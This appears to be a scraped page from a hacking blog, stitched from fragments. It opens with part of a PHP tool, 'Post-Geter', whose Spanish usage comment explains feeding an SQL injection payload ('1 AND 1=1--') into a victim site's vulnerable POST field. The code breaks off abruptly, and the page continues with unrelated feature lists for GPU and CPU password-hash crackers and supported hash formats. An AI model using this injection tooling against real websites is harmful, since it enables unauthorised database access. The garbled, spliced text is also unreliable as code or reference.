Login-Root #DDLR Blog

<!--
Como usar:
Cree un documento de texto conteniendo las variables POST (nombre=valor) llamado "post.txt"
En la variable vulnerable coloque como valor "{oceanik6}"
Llame al script de la siguiente manera (ejemplo): http://localhost/post-geter.php?file=http://www.victima.com/vulnerable.php&varvuln=1 AND 1=1--
--!>
<style>
.xheader
{
background-color:Black;
}
.xoceanik6
{
font-size:15px;
font-family:Arial;
color:Lime;
font-weight:Bold;
}
.xlogin-root
{
font-size:15px;
font-family:Arial;
color:Red;
font-weight:Bold;
}
.xtext
{
font-size:15px;
font-family:Arial;
color:Yellow;
font-weight:Bold;
}
.xtitle
{
font-size:25px;
font-family:Arial;
color:White;
font-weight:Bold;
}
</style>
<?php
error_reporting(0);
$file=$_GET['file'];
$varvuln=$_GET['varvuln'];
echo "
<div class='xheader'>
<center><font class='xtitle'>Post-Geter</font></center>
<font class='xtext'>C0der: </font><font class='xoceanik6'>oceanik6</font>
<br>
<font class='xtext'>Idea: </font><font class='xlogin-root'>Login-Root</font>
";
if (!isset($_GET['file']) OR !isset($_GET['varvuln']))
{
echo "
<br>
&l... [/url]

    * Free
    * Multi-Threaded
    * Multi-Hash
    * Linux & Windows native binaries
    * Fastest cpu-based multihash cracker
    * SSE2 accelerated
    * All Attack-Modes except Brute-Force and Permutation can be extended by Hybrid-Attack rules
    * Very fast Hybrid-Attack engine
    * Rules mostly compatible with JTR and PasswordsPro
    * Possible to resume or limit session
    * Automatically recognizes recovered hashes from outfile at startup
    * Can automatically generate random rules for Hybrid-Attack
    * Load hashlist with more than 3 million hashes of any type at once
    * Load saltlist from external file and then use them in a Brute-Force Attack variant
    * Able to work in an distributed environment
    * Specify multiple wordlists and also multiple directories of wordlists
    * Number of threads can be configured
    * Threads run on lowest priority
    * 33+ Algorithms implemented with performance in mind
    * ... and much more

# Free
# Multi-GPU
# Multi-Hash
# Linux & Windows native binaries
# Uses OpenCL
# Fastest multihash MD5 cracker on NVidia cards
# Fastest multihash MD5 cracker on ATI 5xxx cards
# Supports wordlists (not limited to Brute-Force / Mask-Attack)
# Can mix wordlists with Mask-Attack to emulate Hybrid-Attacks
# Runs very cautious, you can still watch movies while cracking
# Number of workload can be configured (like -n in hashcat)
# Supports pause / resume
# Supports huge numbers of hashes (4 million and more)
# Able to work in a distributed environment
# Includes hashcats entire rule engine to modify wordlists on start

    * MD5
    * md5($pass.$salt)
    * md5($salt.$pass)
    * md5(md5($pass))
    * md5(md5(md5($pass)))
    * md5(md5($pass).$salt)
    * md5(md5($salt).$pass)
    * md5($salt.md5($pass))
    * md5($salt.$pass.$salt)
    * md5(md5($salt).md5($pass))
    * md5(md5($pass).md5($salt))
    * md5($salt.md5($salt.$pass))
    * md5($salt.md5($pass.$salt))
    * md5($username.0.$pass)
    * md5(strtoupper(md5($pass)))
    * SHA1
    * sha1($pass.$salt)
    * sha1($salt.$pass)
    * sha1(sha1($pass))
    * sha1(sha1(sha1($pass)))
    * sha1(strtolower($username).$pass)
    * MySQL
    * MySQL4.1/MySQL5... [/url]